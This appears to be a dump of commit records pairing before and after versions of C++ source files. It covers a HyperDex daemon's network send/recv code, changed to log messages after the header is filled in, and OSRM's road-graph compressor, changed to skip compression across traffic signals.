(m_daemon->m_us != m_daemon->m_config.get_server_id(from))\n {\n return false;\n }\n\n uint8_t mt = static_cast<uint8_t>(msg_type);\n msg->pack_at(BUSYBEE_HEADER_SIZE) << mt << from.get();\n\n if (to == m_daemon->m_us)\n {\n m_busybee->deliver(to.get(), msg);\n }\n else\n {\n busybee_returncode rc = m_busybee->send(to.get(), msg);\n\n switch (rc)\n {\n case BUSYBEE_SUCCESS:\n break;\n case BUSYBEE_DISRUPTED:\n handle_disruption(to.get());\n return false;\n case BUSYBEE_SHUTDOWN:\n case BUSYBEE_POLLFAILED:\n case BUSYBEE_ADDFDFAIL:\n case BUSYBEE_TIMEOUT:\n case BUSYBEE_EXTERNAL:\n default:\n LOG(ERROR) << \"BusyBee unexpectedly returned \" << rc;\n return false;\n }\n }\n\n return true;\n}\n\nbool\ncommunication :: send(const virtual_server_id& from,\n const virtual_server_id& vto,\n network_msgtype msg_type,\n std::auto_ptr<e::buffer> msg)\n{\n assert(msg->size() >= HYPERDEX_HEADER_SIZE_VV);\n\n#ifdef HD_LOG_ALL_MESSAGES\n LOG(INFO) << \"SEND \" << from << \"->\" << vto << \" \" << msg_type << \" \" << msg->hex();\n#endif\n\n if (m_daemon->m_us != m_daemon->m_config.get_server_id(from))\n {\n return false;\n }\n\n uint8_t mt = static_cast<uint8_t>(msg_type);\n uint8_t flags = 1;\n msg->pack_at(BUSYBEE_HEADER_SIZE) << mt << flags << m_daemon->m_config.version() << vto.get() << from.get();\n server_id to = m_daemon->m_config.get_server_id(vto);\n\n if (to == server_id())\n {\n return false;\n }\n\n if (to == m_daemon->m_us)\n {\n m_busybee->deliver(to.get(), msg);\n }\n else\n {\n busybee_returncode rc = m_busybee->send(to.get(), msg);\n\n switch (rc)\n {\n case BUSYBEE_SUCCESS:\n break;\n case BUSYBEE_DISRUPTED:\n handle_disruption(to.get());\n return false;\n case BUSYBEE_SHUTDOWN:\n case BUSYBEE_POLLFAILED:\n case BUSYBEE_ADDFDFAIL:\n case BUSYBEE_TIMEOUT:\n case BUSYBEE_EXTERNAL:\n default:\n LOG(ERROR) << \"BusyBee unexpectedly returned \" << rc;\n return false;\n }\n }\n\n return true;\n}\n\nbool\ncommunication :: send(const virtual_server_id& vto,\n network_msgtype msg_type,\n std::auto_ptr<e::buffer> msg)\n{\n assert(msg->size() >= HYPERDEX_HEADER_SIZE_SV);\n\n#ifdef HD_LOG_ALL_MESSAGES\n LOG(INFO) << \"SEND ->\" << vto << \" \" << msg_type << \" \" << msg->hex();\n#endif\n\n uint8_t mt = static_cast<uint8_t>(msg_type);\n uint8_t flags = 0;\n msg->pack_at(BUSYBEE_HEADER_SIZE) << mt << flags << m_daemon->m_config.version() << vto.get();\n server_id to = m_daemon->m_config.get_server_id(vto);\n\n if (to == server_id())\n {\n return false;\n }\n\n if (to == m_daemon->m_us)\n {\n m_busybee->deliver(to.get(), msg);\n }\n else\n {\n busybee_returncode rc = m_busybee->send(to.get(), msg);\n\n switch (rc)\n {\n case BUSYBEE_SUCCESS:\n break;\n case BUSYBEE_DISRUPTED:\n handle_disruption(to.get());\n return false;\n case BUSYBEE_SHUTDOWN:\n case BUSYBEE_POLLFAILED:\n case BUSYBEE_ADDFDFAIL:\n case BUSYBEE_TIMEOUT:\n case BUSYBEE_EXTERNAL:\n default:\n LOG(ERROR) << \"BusyBee unexpectedly returned \" << rc;\n return false;\n }\n }\n\n return true;\n}\n\nbool\ncommunication :: recv(server_id* from,\n virtual_server_id* vfrom,\n virtual_server_id* vto,\n network_msgtype* msg_type,\n std::auto_ptr<e::buffer>* msg,\n e::unpacker* up)\n{\n \/\/ Read messages from the network until we get one that meets the following\n \/\/ constraints:\n \/\/ - It is addressed to a virtual_server_id\n \/\/ - The virtual_server_id destination maps to us\n \/\/ - If it comes from a virtual_server_id, that id maps to the sender\n \/\/ - The message version is less than or equal to our current config\n while (true)\n {\n uint64_t id;\n busybee_returncode rc = m_busybee->recv(&id, msg);\n\n switch (rc)\n {\n case BUSYBEE_SUCCESS:\n break;\n case BUSYBEE_SHUTDOWN:\n return false;\n case BUSYBEE_DISRUPTED:\n handle_disruption(id);\n continue;\n case BUSYBEE_POLLFAILED:\n case BUSYBEE_ADDFDFAIL:\n case BUSYBEE_TIMEOUT:\n case BUSYBEE_EXTERNAL:\n default:\n LOG(ERROR) << \"busybee unexpectedly returned \" << rc;\n continue;\n }\n\n uint8_t mt;\n uint8_t flags;\n uint64_t version;\n uint64_t vidf;\n uint64_t vidt;\n *up = (*msg)->unpack_from(BUSYBEE_HEADER_SIZE);\n *up = *up >> mt >> flags >> version >> vidt;\n *msg_type = static_cast<network_msgtype>(mt);\n *from = server_id(id);\n *vto = virtual_server_id(vidt);\n\n if ((flags & 0x1))\n {\n *up = *up >> vidf;\n *vfrom = virtual_server_id(vidf);\n }\n else\n {\n *vfrom = virtual_server_id();\n }\n\n if (up->error())\n {\n LOG(WARNING) << \"dropping message that has a malformed header; here's some hex: \" << (*msg)->hex();\n continue;\n }\n\n bool from_valid = true;\n bool to_valid = m_daemon->m_us == m_daemon->m_config.get_server_id(virtual_server_id(vidt));\n\n \/\/ If this is a virtual-virtual message\n if ((flags & 0x1))\n {\n from_valid = *from == m_daemon->m_config.get_server_id(virtual_server_id(vidf));\n }\n\n if (from_valid && to_valid)\n {\n#ifdef HD_LOG_ALL_MESSAGES\n LOG(INFO) << \"RECV \" << *from << \"->\" << *vto << \" \" << *msg_type << \" \" << (*msg)->hex();\n#endif\n return true;\n }\n\n \/\/ Shove the message back at the client so it fails with a reconfigure.\n if (!(flags & 0x1))\n {\n mt = static_cast<uint8_t>(CONFIGMISMATCH);\n (*msg)->pack_at(BUSYBEE_HEADER_SIZE) << mt;\n m_busybee->send(id, *msg);\n }\n else if (version > m_daemon->m_config.version())\n {\n early_message em(version, id, *msg);\n m_early_messages.push(em);\n continue;\n }\n }\n}\n\nvoid\ncommunication :: handle_disruption(uint64_t)\n{\n \/\/ XXX\n}\n<commit_msg>Log messages after filling in the header<commit_after>\/\/ Copyright (c) 2012, Cornell University\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of HyperDex nor the names of its contributors may be\n\/\/ used to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n\/\/ Google Log\n#include <glog\/logging.h>\n\n\/\/ HyperDex\n#include \"daemon\/communication.h\"\n#include \"daemon\/daemon.h\"\n\nusing hyperdex::communication;\nusing hyperdex::reconfigure_returncode;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Early Messages \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass communication::early_message\n{\n public:\n early_message();\n early_message(uint64_t version, uint64_t id,\n std::auto_ptr<e::buffer> m);\n ~early_message() throw ();\n\n public:\n uint64_t config_version;\n uint64_t id;\n std::auto_ptr<e::buffer> msg;\n};\n\ncommunication :: early_message :: early_message()\n : config_version(0)\n , id()\n , msg()\n{\n}\n\ncommunication :: early_message :: early_message(uint64_t v,\n uint64_t i,\n std::auto_ptr<e::buffer> m)\n : config_version(v)\n , id(i)\n , msg(m)\n{\n}\n\ncommunication :: early_message :: ~early_message() throw ()\n{\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Public Class \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ncommunication :: communication(daemon* d)\n : m_daemon(d)\n , m_busybee_mapper(&m_daemon->m_config)\n , m_busybee()\n , m_early_messages()\n{\n}\n\ncommunication :: ~communication() throw ()\n{\n}\n\nbool\ncommunication :: setup(const po6::net::location& bind_to,\n unsigned threads)\n{\n m_busybee.reset(new busybee_mta(&m_busybee_mapper, bind_to, m_daemon->m_us.get(), threads));\n return true;\n}\n\nvoid\ncommunication :: teardown()\n{\n}\n\nreconfigure_returncode\ncommunication :: prepare(const configuration&,\n const configuration&,\n const server_id&)\n{\n \/\/ XXX\n return RECONFIGURE_SUCCESS;\n}\n\nreconfigure_returncode\ncommunication :: reconfigure(const configuration&,\n const configuration&,\n const server_id&)\n{\n \/\/ XXX\n return RECONFIGURE_SUCCESS;\n}\n\nreconfigure_returncode\ncommunication :: cleanup(const configuration&,\n const configuration&,\n const server_id&)\n{\n \/\/ XXX\n return RECONFIGURE_SUCCESS;\n}\n\nbool\ncommunication :: send(const virtual_server_id& from,\n const server_id& to,\n network_msgtype msg_type,\n std::auto_ptr<e::buffer> msg)\n{\n assert(msg->size() >= HYPERDEX_HEADER_SIZE_VS);\n\n if (m_daemon->m_us != m_daemon->m_config.get_server_id(from))\n {\n return false;\n }\n\n uint8_t mt = static_cast<uint8_t>(msg_type);\n msg->pack_at(BUSYBEE_HEADER_SIZE) << mt << from.get();\n\n#ifdef HD_LOG_ALL_MESSAGES\n LOG(INFO) << \"SEND \" << from << \"->\" << to << \" \" << msg_type << \" \" << msg->hex();\n#endif\n\n if (to == m_daemon->m_us)\n {\n m_busybee->deliver(to.get(), msg);\n }\n else\n {\n busybee_returncode rc = m_busybee->send(to.get(), msg);\n\n switch (rc)\n {\n case BUSYBEE_SUCCESS:\n break;\n case BUSYBEE_DISRUPTED:\n handle_disruption(to.get());\n return false;\n case BUSYBEE_SHUTDOWN:\n case BUSYBEE_POLLFAILED:\n case BUSYBEE_ADDFDFAIL:\n case BUSYBEE_TIMEOUT:\n case BUSYBEE_EXTERNAL:\n default:\n LOG(ERROR) << \"BusyBee unexpectedly returned \" << rc;\n return false;\n }\n }\n\n return true;\n}\n\nbool\ncommunication :: send(const virtual_server_id& from,\n const virtual_server_id& vto,\n network_msgtype msg_type,\n std::auto_ptr<e::buffer> msg)\n{\n assert(msg->size() >= HYPERDEX_HEADER_SIZE_VV);\n\n if (m_daemon->m_us != m_daemon->m_config.get_server_id(from))\n {\n return false;\n }\n\n uint8_t mt = static_cast<uint8_t>(msg_type);\n uint8_t flags = 1;\n msg->pack_at(BUSYBEE_HEADER_SIZE) << mt << flags << m_daemon->m_config.version() << vto.get() << from.get();\n server_id to = m_daemon->m_config.get_server_id(vto);\n\n if (to == server_id())\n {\n return false;\n }\n\n#ifdef HD_LOG_ALL_MESSAGES\n LOG(INFO) << \"SEND \" << from << \"->\" << vto << \" \" << msg_type << \" \" << msg->hex();\n#endif\n\n if (to == m_daemon->m_us)\n {\n m_busybee->deliver(to.get(), msg);\n }\n else\n {\n busybee_returncode rc = m_busybee->send(to.get(), msg);\n\n switch (rc)\n {\n case BUSYBEE_SUCCESS:\n break;\n case BUSYBEE_DISRUPTED:\n handle_disruption(to.get());\n return false;\n case BUSYBEE_SHUTDOWN:\n case BUSYBEE_POLLFAILED:\n case BUSYBEE_ADDFDFAIL:\n case BUSYBEE_TIMEOUT:\n case BUSYBEE_EXTERNAL:\n default:\n LOG(ERROR) << \"BusyBee unexpectedly returned \" << rc;\n return false;\n }\n }\n\n return true;\n}\n\nbool\ncommunication :: send(const virtual_server_id& vto,\n network_msgtype msg_type,\n std::auto_ptr<e::buffer> msg)\n{\n assert(msg->size() >= HYPERDEX_HEADER_SIZE_SV);\n\n uint8_t mt = static_cast<uint8_t>(msg_type);\n uint8_t flags = 0;\n msg->pack_at(BUSYBEE_HEADER_SIZE) << mt << flags << m_daemon->m_config.version() << vto.get();\n server_id to = m_daemon->m_config.get_server_id(vto);\n\n if (to == server_id())\n {\n return false;\n }\n\n#ifdef HD_LOG_ALL_MESSAGES\n LOG(INFO) << \"SEND ->\" << vto << \" \" << msg_type << \" \" << msg->hex();\n#endif\n\n if (to == m_daemon->m_us)\n {\n m_busybee->deliver(to.get(), msg);\n }\n else\n {\n busybee_returncode rc = m_busybee->send(to.get(), msg);\n\n switch (rc)\n {\n case BUSYBEE_SUCCESS:\n break;\n case BUSYBEE_DISRUPTED:\n handle_disruption(to.get());\n return false;\n case BUSYBEE_SHUTDOWN:\n case BUSYBEE_POLLFAILED:\n case BUSYBEE_ADDFDFAIL:\n case BUSYBEE_TIMEOUT:\n case BUSYBEE_EXTERNAL:\n default:\n LOG(ERROR) << \"BusyBee unexpectedly returned \" << rc;\n return false;\n }\n }\n\n return true;\n}\n\nbool\ncommunication :: recv(server_id* from,\n virtual_server_id* vfrom,\n virtual_server_id* vto,\n network_msgtype* msg_type,\n std::auto_ptr<e::buffer>* msg,\n e::unpacker* up)\n{\n \/\/ Read messages from the network until we get one that meets the following\n \/\/ constraints:\n \/\/ - It is addressed to a virtual_server_id\n \/\/ - The virtual_server_id destination maps to us\n \/\/ - If it comes from a virtual_server_id, that id maps to the sender\n \/\/ - The message version is less than or equal to our current config\n while (true)\n {\n uint64_t id;\n busybee_returncode rc = m_busybee->recv(&id, msg);\n\n switch (rc)\n {\n case BUSYBEE_SUCCESS:\n break;\n case BUSYBEE_SHUTDOWN:\n return false;\n case BUSYBEE_DISRUPTED:\n handle_disruption(id);\n continue;\n case BUSYBEE_POLLFAILED:\n case BUSYBEE_ADDFDFAIL:\n case BUSYBEE_TIMEOUT:\n case BUSYBEE_EXTERNAL:\n default:\n LOG(ERROR) << \"busybee unexpectedly returned \" << rc;\n continue;\n }\n\n uint8_t mt;\n uint8_t flags;\n uint64_t version;\n uint64_t vidf;\n uint64_t vidt;\n *up = (*msg)->unpack_from(BUSYBEE_HEADER_SIZE);\n *up = *up >> mt >> flags >> version >> vidt;\n *msg_type = static_cast<network_msgtype>(mt);\n *from = server_id(id);\n *vto = virtual_server_id(vidt);\n\n if ((flags & 0x1))\n {\n *up = *up >> vidf;\n *vfrom = virtual_server_id(vidf);\n }\n else\n {\n *vfrom = virtual_server_id();\n }\n\n if (up->error())\n {\n LOG(WARNING) << \"dropping message that has a malformed header; here's some hex: \" << (*msg)->hex();\n continue;\n }\n\n bool from_valid = true;\n bool to_valid = m_daemon->m_us == m_daemon->m_config.get_server_id(virtual_server_id(vidt));\n\n \/\/ If this is a virtual-virtual message\n if ((flags & 0x1))\n {\n from_valid = *from == m_daemon->m_config.get_server_id(virtual_server_id(vidf));\n }\n\n if (from_valid && to_valid)\n {\n#ifdef HD_LOG_ALL_MESSAGES\n LOG(INFO) << \"RECV \" << *from << \"->\" << *vto << \" \" << *msg_type << \" \" << (*msg)->hex();\n#endif\n return true;\n }\n\n \/\/ Shove the message back at the client so it fails with a reconfigure.\n if (!(flags & 0x1))\n {\n mt = static_cast<uint8_t>(CONFIGMISMATCH);\n (*msg)->pack_at(BUSYBEE_HEADER_SIZE) << mt;\n m_busybee->send(id, *msg);\n }\n else if (version > m_daemon->m_config.version())\n {\n early_message em(version, id, *msg);\n m_early_messages.push(em);\n continue;\n }\n }\n}\n\nvoid\ncommunication :: handle_disruption(uint64_t)\n{\n \/\/ XXX\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"extractor\/graph_compressor.hpp\"\n\n#include \"extractor\/compressed_edge_container.hpp\"\n#include \"extractor\/restriction_map.hpp\"\n#include \"util\/dynamic_graph.hpp\"\n#include \"util\/node_based_graph.hpp\"\n#include \"util\/percent.hpp\"\n\n#include \"util\/simple_logger.hpp\"\n\nnamespace osrm\n{\nnamespace extractor\n{\n\nGraphCompressor::GraphCompressor(SpeedProfileProperties speed_profile)\n : speed_profile(std::move(speed_profile))\n{\n}\n\nvoid GraphCompressor::Compress(const std::unordered_set<NodeID> &barrier_nodes,\n const std::unordered_set<NodeID> &traffic_lights,\n RestrictionMap &restriction_map,\n util::NodeBasedDynamicGraph &graph,\n CompressedEdgeContainer &geometry_compressor)\n{\n const unsigned original_number_of_nodes = graph.GetNumberOfNodes();\n const unsigned original_number_of_edges = graph.GetNumberOfEdges();\n\n util::Percent progress(original_number_of_nodes);\n\n for (const NodeID node_v : util::irange(0u, original_number_of_nodes))\n {\n progress.printStatus(node_v);\n\n \/\/ only contract degree 2 vertices\n if (2 != graph.GetOutDegree(node_v))\n {\n continue;\n }\n\n \/\/ don't contract barrier node\n if (barrier_nodes.end() != barrier_nodes.find(node_v))\n {\n continue;\n }\n\n \/\/ check if v is a via node for a turn restriction, i.e. a 'directed' barrier node\n if (restriction_map.IsViaNode(node_v))\n {\n continue;\n }\n\n \/\/ reverse_e2 forward_e2\n \/\/ u <---------- v -----------> w\n \/\/ ----------> <-----------\n \/\/ forward_e1 reverse_e1\n \/\/\n \/\/ Will be compressed to:\n \/\/\n \/\/ reverse_e1\n \/\/ u <---------- w\n \/\/ ---------->\n \/\/ forward_e1\n \/\/\n \/\/ If the edges are compatible.\n\n const bool reverse_edge_order = graph.GetEdgeData(graph.BeginEdges(node_v)).reversed;\n const EdgeID forward_e2 = graph.BeginEdges(node_v) + reverse_edge_order;\n BOOST_ASSERT(SPECIAL_EDGEID != forward_e2);\n BOOST_ASSERT(forward_e2 >= graph.BeginEdges(node_v) && forward_e2 < graph.EndEdges(node_v));\n const EdgeID reverse_e2 = graph.BeginEdges(node_v) + 1 - reverse_edge_order;\n BOOST_ASSERT(SPECIAL_EDGEID != reverse_e2);\n BOOST_ASSERT(reverse_e2 >= graph.BeginEdges(node_v) && reverse_e2 < graph.EndEdges(node_v));\n\n const EdgeData &fwd_edge_data2 = graph.GetEdgeData(forward_e2);\n const EdgeData &rev_edge_data2 = graph.GetEdgeData(reverse_e2);\n\n const NodeID node_w = graph.GetTarget(forward_e2);\n BOOST_ASSERT(SPECIAL_NODEID != node_w);\n BOOST_ASSERT(node_v != node_w);\n const NodeID node_u = graph.GetTarget(reverse_e2);\n BOOST_ASSERT(SPECIAL_NODEID != node_u);\n BOOST_ASSERT(node_u != node_v);\n\n const EdgeID forward_e1 = graph.FindEdge(node_u, node_v);\n BOOST_ASSERT(SPECIAL_EDGEID != forward_e1);\n BOOST_ASSERT(node_v == graph.GetTarget(forward_e1));\n const EdgeID reverse_e1 = graph.FindEdge(node_w, node_v);\n BOOST_ASSERT(SPECIAL_EDGEID != reverse_e1);\n BOOST_ASSERT(node_v == graph.GetTarget(reverse_e1));\n\n const EdgeData &fwd_edge_data1 = graph.GetEdgeData(forward_e1);\n const EdgeData &rev_edge_data1 = graph.GetEdgeData(reverse_e1);\n\n if (graph.FindEdgeInEitherDirection(node_u, node_w) != SPECIAL_EDGEID)\n {\n continue;\n }\n\n \/\/ this case can happen if two ways with different names overlap\n if (fwd_edge_data1.name_id != rev_edge_data1.name_id ||\n fwd_edge_data2.name_id != rev_edge_data2.name_id)\n {\n continue;\n }\n\n if (fwd_edge_data1.IsCompatibleTo(fwd_edge_data2) &&\n rev_edge_data1.IsCompatibleTo(rev_edge_data2))\n {\n BOOST_ASSERT(graph.GetEdgeData(forward_e1).name_id ==\n graph.GetEdgeData(reverse_e1).name_id);\n BOOST_ASSERT(graph.GetEdgeData(forward_e2).name_id ==\n graph.GetEdgeData(reverse_e2).name_id);\n\n \/\/ Get distances before graph is modified\n const int forward_weight1 = graph.GetEdgeData(forward_e1).distance;\n const int forward_weight2 = graph.GetEdgeData(forward_e2).distance;\n\n BOOST_ASSERT(0 != forward_weight1);\n BOOST_ASSERT(0 != forward_weight2);\n\n const int reverse_weight1 = graph.GetEdgeData(reverse_e1).distance;\n const int reverse_weight2 = graph.GetEdgeData(reverse_e2).distance;\n\n BOOST_ASSERT(0 != reverse_weight1);\n BOOST_ASSERT(0 != reverse_weight2);\n\n const bool has_node_penalty = traffic_lights.find(node_v) != traffic_lights.end();\n\n \/\/ add weight of e2's to e1\n graph.GetEdgeData(forward_e1).distance += fwd_edge_data2.distance;\n graph.GetEdgeData(reverse_e1).distance += rev_edge_data2.distance;\n if (has_node_penalty)\n {\n graph.GetEdgeData(forward_e1).distance += speed_profile.traffic_signal_penalty;\n graph.GetEdgeData(reverse_e1).distance += speed_profile.traffic_signal_penalty;\n }\n\n \/\/ extend e1's to targets of e2's\n graph.SetTarget(forward_e1, node_w);\n graph.SetTarget(reverse_e1, node_u);\n\n \/\/ remove e2's (if bidir, otherwise only one)\n graph.DeleteEdge(node_v, forward_e2);\n graph.DeleteEdge(node_v, reverse_e2);\n\n \/\/ update any involved turn restrictions\n restriction_map.FixupStartingTurnRestriction(node_u, node_v, node_w);\n restriction_map.FixupArrivingTurnRestriction(node_u, node_v, node_w, graph);\n\n restriction_map.FixupStartingTurnRestriction(node_w, node_v, node_u);\n restriction_map.FixupArrivingTurnRestriction(node_w, node_v, node_u, graph);\n\n \/\/ store compressed geometry in container\n geometry_compressor.CompressEdge(\n forward_e1, forward_e2, node_v, node_w,\n forward_weight1 + (has_node_penalty ? speed_profile.traffic_signal_penalty : 0),\n forward_weight2);\n geometry_compressor.CompressEdge(\n reverse_e1, reverse_e2, node_v, node_u, reverse_weight1,\n reverse_weight2 + (has_node_penalty ? speed_profile.traffic_signal_penalty : 0));\n }\n }\n\n PrintStatistics(original_number_of_nodes, original_number_of_edges, graph);\n}\n\nvoid GraphCompressor::PrintStatistics(unsigned original_number_of_nodes,\n unsigned original_number_of_edges,\n const util::NodeBasedDynamicGraph &graph) const\n{\n\n unsigned new_node_count = 0;\n unsigned new_edge_count = 0;\n\n for (const auto i : util::irange(0u, graph.GetNumberOfNodes()))\n {\n if (graph.GetOutDegree(i) > 0)\n {\n ++new_node_count;\n new_edge_count += (graph.EndEdges(i) - graph.BeginEdges(i));\n }\n }\n util::SimpleLogger().Write() << \"Node compression ratio: \"\n << new_node_count \/ (double)original_number_of_nodes;\n util::SimpleLogger().Write() << \"Edge compression ratio: \"\n << new_edge_count \/ (double)original_number_of_edges;\n}\n}\n}\n<commit_msg>Disable compression across traffic lights. Previously, we merged the traffic light penalty into the edge weight. When later considering traffic data, we need to be able to update just the edge weight, and it was impossible to extricate the traffic penalty. This increases the number of edge-based-nodes a little bit, but some quick tests show it should only be about 0.1% overall (only affects traffic signals on edges with no intersections (i.e. degree=2))<commit_after>#include \"extractor\/graph_compressor.hpp\"\n\n#include \"extractor\/compressed_edge_container.hpp\"\n#include \"extractor\/restriction_map.hpp\"\n#include \"util\/dynamic_graph.hpp\"\n#include \"util\/node_based_graph.hpp\"\n#include \"util\/percent.hpp\"\n\n#include \"util\/simple_logger.hpp\"\n\nnamespace osrm\n{\nnamespace extractor\n{\n\nGraphCompressor::GraphCompressor(SpeedProfileProperties speed_profile)\n : speed_profile(std::move(speed_profile))\n{\n}\n\nvoid GraphCompressor::Compress(const std::unordered_set<NodeID> &barrier_nodes,\n const std::unordered_set<NodeID> &traffic_lights,\n RestrictionMap &restriction_map,\n util::NodeBasedDynamicGraph &graph,\n CompressedEdgeContainer &geometry_compressor)\n{\n const unsigned original_number_of_nodes = graph.GetNumberOfNodes();\n const unsigned original_number_of_edges = graph.GetNumberOfEdges();\n\n util::Percent progress(original_number_of_nodes);\n\n for (const NodeID node_v : util::irange(0u, original_number_of_nodes))\n {\n progress.printStatus(node_v);\n\n \/\/ only contract degree 2 vertices\n if (2 != graph.GetOutDegree(node_v))\n {\n continue;\n }\n\n \/\/ don't contract barrier node\n if (barrier_nodes.end() != barrier_nodes.find(node_v))\n {\n continue;\n }\n\n \/\/ check if v is a via node for a turn restriction, i.e. a 'directed' barrier node\n if (restriction_map.IsViaNode(node_v))\n {\n continue;\n }\n\n \/\/ reverse_e2 forward_e2\n \/\/ u <---------- v -----------> w\n \/\/ ----------> <-----------\n \/\/ forward_e1 reverse_e1\n \/\/\n \/\/ Will be compressed to:\n \/\/\n \/\/ reverse_e1\n \/\/ u <---------- w\n \/\/ ---------->\n \/\/ forward_e1\n \/\/\n \/\/ If the edges are compatible.\n\n const bool reverse_edge_order = graph.GetEdgeData(graph.BeginEdges(node_v)).reversed;\n const EdgeID forward_e2 = graph.BeginEdges(node_v) + reverse_edge_order;\n BOOST_ASSERT(SPECIAL_EDGEID != forward_e2);\n BOOST_ASSERT(forward_e2 >= graph.BeginEdges(node_v) && forward_e2 < graph.EndEdges(node_v));\n const EdgeID reverse_e2 = graph.BeginEdges(node_v) + 1 - reverse_edge_order;\n BOOST_ASSERT(SPECIAL_EDGEID != reverse_e2);\n BOOST_ASSERT(reverse_e2 >= graph.BeginEdges(node_v) && reverse_e2 < graph.EndEdges(node_v));\n\n const EdgeData &fwd_edge_data2 = graph.GetEdgeData(forward_e2);\n const EdgeData &rev_edge_data2 = graph.GetEdgeData(reverse_e2);\n\n const NodeID node_w = graph.GetTarget(forward_e2);\n BOOST_ASSERT(SPECIAL_NODEID != node_w);\n BOOST_ASSERT(node_v != node_w);\n const NodeID node_u = graph.GetTarget(reverse_e2);\n BOOST_ASSERT(SPECIAL_NODEID != node_u);\n BOOST_ASSERT(node_u != node_v);\n\n const EdgeID forward_e1 = graph.FindEdge(node_u, node_v);\n BOOST_ASSERT(SPECIAL_EDGEID != forward_e1);\n BOOST_ASSERT(node_v == graph.GetTarget(forward_e1));\n const EdgeID reverse_e1 = graph.FindEdge(node_w, node_v);\n BOOST_ASSERT(SPECIAL_EDGEID != reverse_e1);\n BOOST_ASSERT(node_v == graph.GetTarget(reverse_e1));\n\n const EdgeData &fwd_edge_data1 = graph.GetEdgeData(forward_e1);\n const EdgeData &rev_edge_data1 = graph.GetEdgeData(reverse_e1);\n\n if (graph.FindEdgeInEitherDirection(node_u, node_w) != SPECIAL_EDGEID)\n {\n continue;\n }\n\n \/\/ this case can happen if two ways with different names overlap\n if (fwd_edge_data1.name_id != rev_edge_data1.name_id ||\n fwd_edge_data2.name_id != rev_edge_data2.name_id)\n {\n continue;\n }\n\n if (fwd_edge_data1.IsCompatibleTo(fwd_edge_data2) &&\n rev_edge_data1.IsCompatibleTo(rev_edge_data2))\n {\n BOOST_ASSERT(graph.GetEdgeData(forward_e1).name_id ==\n graph.GetEdgeData(reverse_e1).name_id);\n BOOST_ASSERT(graph.GetEdgeData(forward_e2).name_id ==\n graph.GetEdgeData(reverse_e2).name_id);\n\n \/\/ Do not compress edge if it crosses a traffic signal.\n \/\/ This can't be done in IsCompatibleTo, becase we only store the\n \/\/ traffic signals in the `traffic_lights` list, which EdgeData\n \/\/ doesn't have access to.\n const bool has_node_penalty = traffic_lights.find(node_v) != traffic_lights.end();\n if (has_node_penalty)\n {\n continue;\n }\n\n \/\/ Get distances before graph is modified\n const int forward_weight1 = graph.GetEdgeData(forward_e1).distance;\n const int forward_weight2 = graph.GetEdgeData(forward_e2).distance;\n\n BOOST_ASSERT(0 != forward_weight1);\n BOOST_ASSERT(0 != forward_weight2);\n\n const int reverse_weight1 = graph.GetEdgeData(reverse_e1).distance;\n const int reverse_weight2 = graph.GetEdgeData(reverse_e2).distance;\n\n BOOST_ASSERT(0 != reverse_weight1);\n BOOST_ASSERT(0 != reverse_weight2);\n\n \/\/ add weight of e2's to e1\n graph.GetEdgeData(forward_e1).distance += fwd_edge_data2.distance;\n graph.GetEdgeData(reverse_e1).distance += rev_edge_data2.distance;\n\n \/\/ extend e1's to targets of e2's\n graph.SetTarget(forward_e1, node_w);\n graph.SetTarget(reverse_e1, node_u);\n\n \/\/ remove e2's (if bidir, otherwise only one)\n graph.DeleteEdge(node_v, forward_e2);\n graph.DeleteEdge(node_v, reverse_e2);\n\n \/\/ update any involved turn restrictions\n restriction_map.FixupStartingTurnRestriction(node_u, node_v, node_w);\n restriction_map.FixupArrivingTurnRestriction(node_u, node_v, node_w, graph);\n\n restriction_map.FixupStartingTurnRestriction(node_w, node_v, node_u);\n restriction_map.FixupArrivingTurnRestriction(node_w, node_v, node_u, graph);\n\n \/\/ store compressed geometry in container\n geometry_compressor.CompressEdge(\n forward_e1, forward_e2, node_v, node_w,\n forward_weight1, forward_weight2);\n geometry_compressor.CompressEdge(\n reverse_e1, reverse_e2, node_v, node_u,\n reverse_weight1, reverse_weight2);\n }\n }\n\n PrintStatistics(original_number_of_nodes, original_number_of_edges, graph);\n}\n\nvoid GraphCompressor::PrintStatistics(unsigned original_number_of_nodes,\n unsigned original_number_of_edges,\n const util::NodeBasedDynamicGraph &graph) const\n{\n\n unsigned new_node_count = 0;\n unsigned new_edge_count = 0;\n\n for (const auto i : util::irange(0u, graph.GetNumberOfNodes()))\n 